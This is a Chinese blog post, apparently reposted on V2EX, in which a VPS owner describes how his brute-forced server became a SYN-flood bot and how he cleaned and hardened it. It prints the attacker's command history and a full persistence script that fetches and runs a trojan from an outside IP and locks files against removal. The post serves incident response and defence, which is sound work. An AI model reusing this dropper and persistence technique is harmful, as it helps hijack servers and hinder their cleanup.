不久前读了一篇黑客故事( 高手对决 -- 博客服务器被黑的故事),读完此文后,才意识到我的机器是处于裸奔状态,便饶有兴致地去服务器检查了一下日志。发现还真有人在尝试对我的机器进行暴力破解(一下简称爆破),而且攻势还挺猛,当天就有1w+的暴力尝试!但是当时并没有特别去在意,被黑这种事情应该不会发生的......吧......
只是,几天之后的某一天(2月3号)深夜,趴在床上休闲的看邮件时,收到了DO在1月29号发的警告邮件(DO:Digital Ocean, 一个vps主机提供商,这个博客就是架设在我在DO的vps上):
We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users.
To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved...
什么情况!我的服务器被黑了!!?DO把我的服务封了!!?立马打开浏览器访问我的博客主页,果然挂了。然后尝试ssh登录到主机,连接不上,果然主机被封了!而且这邮件是五天前发的,我现在才知道!吓得当时我的表情是这样的:
第二天起床之后,立马跑到自习室进入忘我模式,开始追查原因!
服务器网络被禁,没法ssh登录。幸好, DO 提供了Web console接口,可以通过Web界面来登录服务器。
“DO把我服网络封禁了,那贼现在应该无法控制我的服务器”,心里再一次暗想着,“现在暂时无需修改密码来防止主机被再次控制,先先找出问题所在吧。”
再次打开邮件,观察DO提供的报警信息:
We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users.
To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved...
“难道服务器被劫持作为肉鸡来攻击其它的网络了!?”,那是一头雾水啊,完全不清楚攻击者究竟利用我服做了什么事情,看起来好像是被当肉鸡了哎 ╮(╯▽╰)╭。
所以接下来理所当然的去查看有问题的进程了。
既然是traffic flood,那就先从网络检查起。
$ sudo ss -p
State Recv-Q Send-Q Local Address:Port Peer Address:Port
SYN-SENT 0 4 127.0.0.1:36512 183.60.149.202:43200
users:(("icnanker",14519,4))
...
不出所料果然看到了一个很可疑的程序:icnanker
,它在不停的尝试往183.60.149.202:43200
发送tcp syn包!立马搜这个IP的信息,只发现这是东莞的一个IP。那继续吧,先找出所有有问题的进程再说。
果然在进程列表中找到了三个很可疑的进程:
$ ps aux
(...)
root 13648 0.0 0.1 23656 556 ? Ss Jan28 0:43 /etc/init.d/apache2.sh
root 14519 0.0 0.2 85872 1208 ? S Jan28 23:41 /usr/bin/icnanker
root 26595 0.0 0.2 61364 1224 ? S Jan28 0:00 /usr/bin/.sshd
(...)
第一,我没有装apache,apache2.sh
这样的名字实在是太可疑了。
第二,.sshd
这个进程的名字更可疑,sshd守护进程是sshd
,伪装得太不像了。
第三,只有这三个进程都是在Jan28启动的,也就是1月28号,这让我联想到29号造成的traffic flood。肯定有问题。
接着下意识的去翻阅登录日志:
# grep "Accepted" /var/log/auth.log.1
(...)
Jan 26 16:55:49 mon sshd[13955]: Accepted password for root from 61.160.247.8 port 1604 ssh2
Jan 28 17:12:03 mon sshd[30407]: Accepted password for root from 61.166.50.23 port 3343 ssh2
(...)
# grep "Jan 2[5-8] .*sshd.*Failed" /var/log/auth.log.1 | wc
21806 355851 2333557
!!!!
Jan 26和 Jan 28都有人在我的机器上登录过root账号!Ip来源发现分别是云南和江苏的,也是非常诡异。接着让我更吃惊的是从Jan 25到Feb 28,共有2w+的暴破尝试!
在看到这些结果的瞬间其实我就明白了为何我会被攻破——因为我的密码设置得非常非常简单,简单到和“123456”这样的密码差不多。这个时候我的表情是这样的:
立马切换到root用户,查看root命令记录,看看能不能追踪到这个家伙在我机器上做过什么,同时在心里像上帝祈祷希望他没擦去脚印。
# history
(...)
4 cp /usr/bin/wget /usr/bin/vget
5 cp /usr/bin/chattr /usr/bin/lockr
6 chmod 0 /usr/bin/chattr;chmod 0 /usr/bin/wget
7 lockr +i /usr/bin/chattr;lockr +i /usr/bin/wget
8 chmod 0755 /usr/bin/vget;chmod 0755 /usr/bin/lockr
9 vget http://183.60.149.202:8080/apache2.sh
10 mv /root/apache2.sh /etc/init.d/apache2.sh
11 chmod 0755 /etc/init.d/apache2.sh
12 nohup sh /etc/init.d/apache2.sh >/dev/null 2>&1 &
13 lockr +i /etc/init.d/apache2.sh
14 vi /etc/rc.local
15 lockr +i /etc/rc.local
16 less /etc/init.d/apache2.sh
感慨万千,万千感慨,“还好,这个傻逼没有擦去脚印”,哈哈哈哈哈。。
做抱拳状,站起,出自习室,接开水,回来,继续!
“我需要知道,这家伙究竟对我的机器干了些什么!”
从上面的命令记录来看,/etc/init.d/apache2.sh
这个脚本有很大的嫌疑,查看脚本内容:
# cat /etc/init.d/apache2.sh
#!/bin/sh
while [ 1 -gt 0 ];do
Get="/usr/bin/vget"
Lok="/usr/bin/lockr"
Bak="/usr/bin/.filebak"
hosts="/etc/hosts.bak"
File="/usr/bin/icnanker"
if [ ! -f "$hosts" ];then
cp -f /etc/hosts.deny /etc/hosts.bak
lockr +i /etc/hosts.bak
fi
if [ ! -f "$Lok" ];then
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 0755 /usr/bin/lockr
chmod 0755 /usr/bin/.locks
lockr +i /usr/bin/lockr
lockr +i /usr/bin/.locks
fi
if [ ! -f "$Get" ];then
cp -f /usr/bin/wget /usr/bin/vget
cp -f /usr/bin/wget /usr/bin/.bget
cp -f /usr/bin/.bget /usr/bin/vget
chmod 0755 /usr/bin/vget
chmod 0755 /usr/bin/.bget
lockr +i /usr/bin/vget
lockr +i /usr/bin/.bget
fi
Exist=`ss|grep 183.60.149.202:43200|grep -v "grep" `
if [ -z "$Exist" ];then
lockr -i /usr/bin/.filebak
lockr -i /usr/bin/icnanker
chmod 0755 /usr/bin/.filebak
chmod 0755 /usr/bin/icnanker
if [ ! -f "$File" ];then
if [ ! -f "$Bak" ];then
rm -f /etc/init.d/icnanker;rm -f /etc/init.d/icnanker.1
vget -P /etc/init.d/ vget http://183.60.149.202:8080/icnanker
mv /etc/init.d/icnanker /usr/bin/icnanker
else
cp -f /usr/bin/.filebak /usr/bin/icnanker
fi
fi
pkill icnanker;pkill icnanker
chmod 0755 /usr/bin/icnanker
lockr +i /usr/bin/icnanker
/usr/bin/icnanker
fi
if [ ! -f "$Bak" ];then
cp -f /usr/bin/icnanker /usr/bin/.filebak
chmod 0755 /usr/bin/.filebak
lockr +i /usr/bin/.filebak
fi
chmod 0 /usr/bin/wget
lockr +i /usr/bin/wget
chmod 0 /usr/bin/chattr
lockr +i /usr/bin/chattr
chmod 0 /usr/lib/sftp-server
lockr +i /usr/lib/sftp-server
lockr -i /etc/hosts.deny;cp /etc/hosts.bak /etc/hosts.deny;lockr +i /etc/hosts.deny
sleep 30
done
仔细看下来,这应该是"icnanker"的后台守护程序,确保"icnanker"一直在运行。
那"icnanker"究竟是干什么的,究竟在我的系统上干了什么,服务器还有什么其他的“坏家伙”在?
尝试打开“icnanker”,看看“icnanker”的内容,发现它是二进制的,无法查看该木马的具体作用。但是根据 DO 的检测、apache2.sh脚本内容以及"icnanker"一直在进行着的大量tcp链接尝试可以看出,似乎这是一个DDoS木马,syn flood。
于是开始在网络上搜索该木马的详细信息,一番尝试之后,还是没能找到关于这个木马的详细信息,“那就先放着,先揪出其他木马再说”。
此时的我有点慌乱和无头绪,“对病毒一点都不了解呢”,“不过,这点问题可难不倒我,移步google!”
经过一番查找之后,发现了 clamAV 这个工具,一个很popular的开源病毒引擎,能够扫描检测木马、病毒和恶意程序,正乃我所需啊!!
马上用 clamAV 神器扫描全站文件,果然还发现了不少其他的木马:
/usr/bin/icnanker
/usr/bin/.filebak
/usr/bin/.sshd
/usr/bin/lsof
/usr/bin/bsd-port/getty
/bin/ps
/bin/netstat
/bin/ss
Oh, no!!!
ps, netstat, ss, lsof 这些很常用的监控服务器状态的系统工具全部被掉包了!
“真是危险,要是没有在全机进行病毒搜索的话,很容易就会又被莫名其妙的感染了!”,心里直冒冷汗。
这个时候,我的表情是这样的:
嗯,心情非常沉重。非常沉重。非常非常的沉重。
怀着沉重的心情,开始出其意料的冷静思考,得出以下推断(事实):
那么,我需要反抗了。
杀掉木马进程
# kill 13648 # 杀掉apache2.sh
# kill 14519 # 杀掉"icnanker"
# kill 26595 # 杀掉.sshd
清除木马
再次查看命令记录和apache2.sh,确定清除木马的步骤:
# history
(...)
4 cp /usr/bin/wget /usr/bin/vget
5 cp /usr/bin/chattr /usr/bin/lockr
6 chmod 0 /usr/bin/chattr;chmod 0 /usr/bin/wget
7 lockr +i /usr/bin/chattr;lockr +i /usr/bin/wget
8 chmod 0755 /usr/bin/vget;chmod 0755 /usr/bin/lockr
9 vget http://183.60.149.202:8080/apache2.sh
10 mv /root/apache2.sh /etc/init.d/apache2.sh
11 chmod 0755 /etc/init.d/apache2.sh
12 nohup sh /etc/init.d/apache2.sh >/dev/null 2>&1 &
13 lockr +i /etc/init.d/apache2.sh
14 vi /etc/rc.local
15 lockr +i /etc/rc.local
16 less /etc/init.d/apache2.sh
# cat /etc/init.d/apache2.sh
#!/bin/sh
while [ 1 -gt 0 ];do
Get="/usr/bin/vget"
Lok="/usr/bin/lockr"
Bak="/usr/bin/.filebak"
hosts="/etc/hosts.bak"
File="/usr/bin/icnanker"
if [ ! -f "$hosts" ];then
cp -f /etc/hosts.deny /etc/hosts.bak
lockr +i /etc/hosts.bak
fi
if [ ! -f "$Lok" ];then
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 0755 /usr/bin/lockr
chmod 0755 /usr/bin/.locks
lockr +i /usr/bin/lockr
lockr +i /usr/bin/.locks
fi
if [ ! -f "$Get" ];then
cp -f /usr/bin/wget /usr/bin/vget
cp -f /usr/bin/wget /usr/bin/.bget
cp -f /usr/bin/.bget /usr/bin/vget
chmod 0755 /usr/bin/vget
chmod 0755 /usr/bin/.bget
lockr +i /usr/bin/vget
lockr +i /usr/bin/.bget
fi
Exist=`ss|grep 183.60.149.202:43200|grep -v "grep" `
if [ -z "$Exist" ];then
lockr -i /usr/bin/.filebak
lockr -i /usr/bin/icnanker
chmod 0755 /usr/bin/.filebak
chmod 0755 /usr/bin/icnanker
if [ ! -f "$File" ];then
if [ ! -f "$Bak" ];then
rm -f /etc/init.d/icnanker;rm -f /etc/init.d/icnanker.1
vget -P /etc/init.d/ vget http://183.60.149.202:8080/icnanker
mv /etc/init.d/icnanker /usr/bin/icnanker
else
cp -f /usr/bin/.filebak /usr/bin/icnanker
fi
fi
pkill icnanker;pkill icnanker
chmod 0755 /usr/bin/icnanker
lockr +i /usr/bin/icnanker
/usr/bin/icnanker
fi
if [ ! -f "$Bak" ];then
cp -f /usr/bin/icnanker /usr/bin/.filebak
chmod 0755 /usr/bin/.filebak
lockr +i /usr/bin/.filebak
fi
chmod 0 /usr/bin/wget
lockr +i /usr/bin/wget
chmod 0 /usr/bin/chattr
lockr +i /usr/bin/chattr
chmod 0 /usr/lib/sftp-server
lockr +i /usr/lib/sftp-server
lockr -i /etc/hosts.deny;cp /etc/hosts.bak /etc/hosts.deny;lockr +i /etc/hosts.deny
sleep 30
done
哼,╭(╯^╰)╮,居然敢这样玩我。这几行命令和脚本试图干扰我把病毒从机器上删除哎:
第一步, 将/usr/bin/chattr复制到/usr/bin/lockr
cp /usr/bin/chattr /usr/bin/lockr
第二步, 将chattr变为不可读不可写不可执行的权限
chmod 0 /usr/bin/chattr
第三步, 锁住chattr,让其变为不可修改
lockr +i /usr/bin/chattr
第四步, 锁住所有其他木马,让其不可删除,如icnanker等。
lockr +i /usr/bin/icnanker
第五步, 将木马程序加入系统开机自启脚本( /etc/rc.local )中,每次开机自动运行木马。
这样一来, 如果不懂这段逻辑的话, 要删除病毒如icnanker都会被莫名其妙被拒绝了:
# rm /usr/bin/icnanker
rm: cannot remove ‘icnanker’: Operation not permitted
幸好, 我这个人有非常可怕的耐心。马上去查了chattr是干什么的。原来,linux的文件还能设置一些附带的属性。比如有一个属性'i',它的意思就是"immutable",即限制文件不可更改(删除、修改文件内容、改变文件权限等)。那么通过lockr +i /usr/bin/icnanker
,给icnanker附上了'i'属性之后,就让我没办法删除icnanker了!
“那把icnanker的'i'属性去除呗”, 这是一个很直接的想法。但是这货为了防止我这么做,还记得吗,它把 chattr 这个工具通过 chmod 0 /usr/bin/chattr
命令将chattr的执行权限去除了。换言之,我没法运行chattr来去除icnanker的'i'属性!
那是不是就没办法删除这些木马了呢?
NO,NO,NO。将计就计就好了。
还记得吗, 上面那段脚本,把/usr/bin/chattr复制到了/usr/bin/lockr。那我直接使用lockr把chattr解锁不就行了?
# lockr -i /usr/bin/chattr
# chmod 755 /usr/bin/chattr
# chattr -i /usr/bin/icnanker
# rm /usr/bin/icnanker
(...)
呵呵,这样,就把攻击者设下的圈套一下就解开了。做到这里我觉得攻击者的智商其实值得商榷的。我在智商上,其实应该更高一筹。小小的自娱自乐了一把。。。
木马,就这样一步一步的全部被我搜集起来,过些时候准备一把火烧了它。
接下来,是思考对策的时候了。这次暴破表面上全是弱口令惹的祸,其实还是因为太懒,明明知道很危险,却存在侥幸心理。“嗯,这次一定要采取全面的安全策略!”
进行一些研究之后,准备从两个大方向入手,防护机制和检测机制。一个是加强安全性,增加他们(hacker)进攻难度。另一个是加强警戒,一旦发现有人入侵,能立马知道并且快速响应。
* **使用强密码!!**绝大多数暴破都是因为该死的弱口令!
* **设置ssh不允许root登录!**因为大多数登录暴破都是对于root用户进行暴破的!
* **不要泄露主机用户名等信息!!**这主要是为了防止针对性暴破,如果别人知道你的用户名,又对你有一些了解的话,其猜中你密码的概率会大大加大。
* **检查暴破IP并且封禁之!**有个非常好用的工具,其大名为“fail2ban”,它可以扫描主机的登录日志,并且限制单IP失败登录次数,如果超过限制,就会封禁该IP。
防火墙
防火墙的作用主要是对外关闭不必要的网络服务,减少由常规程序本身的漏洞而带来的隐患。同样,有一个非常好用的工具,“ufw”,可以非常方便的设置防火墙:
# ufw allow 80/tcp
# ufw allow ssh
只开启两个服务,web service和ssh service。
还有一些建议
事实上,攻击我服的方式太多了,暴力破解密码登录只是其中一种,还有很多是利用软件漏洞进行的,还记得上一年一连串令人发指的漏洞吗:HeartBleed, Shellshock!!为了牢记这些惨痛的教训(别人身上的),谨记:
* **关注安全动态,即时更新软件安全补丁!**
* **限制服务,只让该运行的服务运行!**
* **在安装非官方包的时候,提高警惕,小心被掉包!**
建好城墙,就该部署哨兵了。
那么该如何监测服务器的健康状态呢?
在linux下还是有一些工具可以使用的,经过一番对比,我最终选择了tripwire。她可以检测linux关键文件的变化情况,比如/usr/bin目录下面的文件。所以我配置了一个crontab,每天早上3点检查一遍系统关键文件,看看是否有问题,并且邮件报告给我。
邮件crontab配置:
30 14 * * * /usr/sbin/tripwire --check | mail -s "Tripwire report for `uname -n`" monklof@gmail.com -r report.tripwire
这样,每天我都可以通过文件查看系统是否被破坏了。
汲取这次教训,为了能每天检测用户登录和情况,我特意写了一个脚本来检查昨天系统的登录情况:
login_review.sh:
#! /usr/bin/env bash
# monitor yesterday's login via ssh, and send report email
date=`date -d "yesterday" +"%b %e"`
yesterday_acceptedlog=`grep "${date}.*sshd.*Accepted" /var/log/auth.log | grep -v "sudo"`
fail=`grep "${date}.*sshd.*Failed" /var/log/auth.log | grep -v "sudo" | wc -l`
success=`printf "%s" "$yesterday_acceptedlog" |wc -l`
warn=""
if [ $success -gt 0 ]
then
warn="[WARN] "
fi
html="<!doctype html>
<html>
<head><title>${warn}SSH Login Reports for `uname -n` at $date </title></head>
<body>
<div class=\"result\">
<strong>Success logins:</strong> $success <br />
<table border=\"1\" style=\"border-collapse: collapse;\">
<tr>
<th>Time</th>
<th>User</th>
<th>Login Method</th>
</tr>
`echo $yesterday_acceptedlog | awk '{if(length !=0)printf \"<tr><td>%s</td><td>%s</td><td>%s (%s:%s)</td></tr>\n\",$3,$9,$7,$11,$13}'`
</table>
<strong>Failed Trys: </strong> $fail <br />
</div>
</body>
</html>"
case $1 in
-d | --debug)
printf "Success logs: %d\n%s\nRendered Html:\n%s" $success "$yesterday_acceptedlog" "$html"
;;
*)
echo $html | mail -s "${warn}SSH Login Report for `uname -n` at $date" monklof@gmail.com -r report.login_review -a "Content-type: text/html"
;;
esac
然后也配置一个crontab,每天都检测:
25 14 * * * /usr/local/bin/login_review.sh
这样,我每天就能收到这样的两份报表了:
╮(╯▽╰)╭
博客停了将近一个星期之后,做好了基本的防护,小心翼翼的将服务器再次开启。(以上的安全策略的实施也是在服务开启之后一直在进行的)
服务器重新开启的那天,通过DO的运维界面查看被攻击的那天的流量情况:
可以看到29号那天tcp syn flood流量达到了140Mbps!心有余悸啊心有余悸。
然后接下来的几天,每天都看fail2ban查看被封禁的ip、看报表查看系统健康状况。效果显著,每天的暴破失败尝试量从上万成功降低到500以内。并且至今未出现过问题。
Cheers!这个时候,我的表情是这样的:
(原文来自: http://monklof.com/post/10/ )
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.